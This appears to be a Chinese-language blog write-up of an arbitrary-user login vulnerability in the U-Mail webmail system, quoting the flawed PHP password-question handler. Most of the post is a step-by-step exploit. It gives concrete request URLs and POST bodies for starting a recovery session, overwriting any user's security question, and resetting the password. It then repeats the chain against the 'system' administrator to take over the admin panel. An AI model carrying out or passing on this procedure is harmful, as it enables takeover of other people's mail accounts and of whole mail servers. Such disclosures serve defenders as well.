U-Mail邮件系统任意用户登录漏洞

漏洞文件
/fast/option/module/o_password.php

if ( ACTION == "question" )

{

		$url = "/webmail/fast/option/index.php?module=view&action=password";

		$where = "UserID='".$user_id."'";

		$data = array(

				"question" => gss( $_POST['question'] ),

				"answer" => gss( $_POST['answer'] )

		);

		$result = $Mailbox->update_info( $data, $where, 0 );//直接将获得的用户数据进行了update

		$msg = $result ? "" : "修改密码提示问题时出现错误,修改失败!";

		redirect( $url, $msg );

}

?>

找回密码过程是,首先提交要获得密码的用户名,获得一个phpsessid,如图

http://mail.fuck.com/webmail/fast/index.php?module=operate&action=login post数据为mailbox=test0001@fuck.com&link=? 

然后访问该方法,更新用户的密码提示问题和答案
http://mail.fuck.com/webmail/fast/option/index.php?module=operate&action=question
post数据为
question=hello&answer=tom改为自己设置的密码问题即可
然后执行找回密码方法,请求为
http://mail.fuck.com/webmail/getpass.php
post数据为
email=test0001%40fuck.com&question=hello&answer=tom&update=%E7%A1%AE%E8%AE%A4
quest
这是找回任意普通用户的密码,由于管理员system也在该表里,所以我们可以将第一个请求换成mailbox=system@fuck.com&link=?,然后更新其密保问题,然后找回密码即可,如图
quest2
数据库为
quest3

quest4
其中,得到管理员密码后,http://mail.fuck.com/webmail/admin/ 在此处登录,登录即可操作整个邮箱系统,如图
quest5

发表评论